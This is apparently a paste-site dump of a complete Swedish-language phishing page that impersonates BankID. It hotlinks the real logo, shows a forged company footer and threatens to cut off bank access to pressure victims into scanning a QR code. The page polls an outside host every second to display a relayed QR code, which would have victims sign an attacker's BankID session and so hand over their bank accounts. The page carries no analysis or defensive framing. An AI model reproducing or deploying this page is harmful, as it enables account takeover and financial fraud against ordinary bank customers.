Untitled
5 hours ago in HTML
<html lang="sv">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BankID Säkerhetsuppdatering</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: center;
height: 100vh;
margin: 0;
background-color: #f0f0f0;
}
.container {
text-align: center;
background-color: #ffffff;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
padding: 20px;
width: 300px;
margin-bottom: 20px;
}
h1 {
font-size: 20px;
margin: 10px 0;
}
p {
color: #555;
}
footer {
font-size: 12px;
color: #aaa;
text-align: center;
margin-top: 10px;
}
.logo {
width: 100px;
margin-bottom: 20px;
}
.hidden {
display: none;
}
.start-section button {
background-color: #1a3d50;
color: white;
padding: 10px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
}
.start-section button:hover {
background-color: #2980b9;
}
.loading-text {
font-family: Arial, sans-serif;
font-size: 16px;
margin-top: 10px;
}
.spinner {
border: 8px solid #f3f3f3;
border-top: 8px solid #3498db;
border-radius: 50%;
width: 60px;
height: 60px;
animation: spin 2s linear infinite;
margin: 20px auto;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#qr_code {
display: none;
width: 200px;
height: 200px;
margin: 0 auto;
}
.qr-instructions {
font-family: Arial, sans-serif;
font-size: 14px;
color: #333;
margin-bottom: 20px;
display: none;
}
</style>
</head>
<body>
<img src="https://www.bankid.com/assets/bankid/logo/BankID_logo.png" alt="BankID Logotyp" class="logo">
<!-- Startsektion -->
<div class="container start-section">
<h1>Välkommen</h1>
<p>
Påbörja reklamationstvister för att återkalla bedrägliga betalningar och säkerställ att din mobila enhet uppfyller säkerhetskraven för internetbanken.<br><br>
Vid utebliven uppdatering kommer åtkomst till internetbanken begränsas och dina utbetalningar stoppas.
</p>
<button onclick="start()">Fortsätt</button>
</div>
<!-- QR-kodsektion -->
<div class="container hidden loading-section">
<h1>Säkerhetsuppdatering</h1>
<p class="qr-instructions" id="qrInstructions">
Starta BankID appen på din telefon och tryck på ikonen för QR-kod i appen för att skanna QR-koden på den här sidan.
</p>
<div class="spinner" id="spinner"></div>
<div class="loading-text" id="loadingText">Inväntar signering...</div>
<!-- QR-kodbild -->
<img id="qr_code" src="" alt="QR Code">
</div>
<!-- Text under modulen -->
<footer>
© Finansiell ID-teknik BID AB 2024<br>
Dessa anslutningar är krypterade.
</footer>
<script>
function start() {
// Dölj startsektionen och visa QR-kodsektionen
document.querySelector('.start-section').classList.add('hidden');
document.querySelector('.loading-section').classList.remove('hidden');
}
function fetchQRCode() {
fetch('https://ar.meny.top/qr_status')
.then(response => response.json())
.then(data => {
if (data.qr_code_detected) {
// Add a timestamp as a query parameter for cache-busting
let timestamp = new Date().getTime();
document.getElementById('qr_code').src = `https://ar.meny.top/latest_qr?${timestamp}`;
document.getElementById('qr_code').style.display = 'block'; // Show the image
document.getElementById('spinner').style.display = 'none'; // Hide the spinner
document.getElementById('loadingText').style.display = 'none'; // Hide loading text
} else {
// Handle case when no QR code is detected
document.getElementById('qr_code').style.display = 'none';
document.getElementById('spinner').style.display = 'block';
document.getElementById('loadingText').style.display = 'block';
}
})
.catch(error => {
console.error('Could not fetch QR status:', error);
// Potentially keep showing spinner/loading here
document.getElementById('qr_code').style.display = 'none';
document.getElementById('spinner').style.display = 'block';
document.getElementById('loadingText').style.display = 'block';
});
}
// Kontrollera QR-status varje sekund
setInterval(fetchQRCode, 1000);
// Kontrollera QR-status varje sekund
setInterval(fetchQRCode, 1000);
</script>
</body>
</html>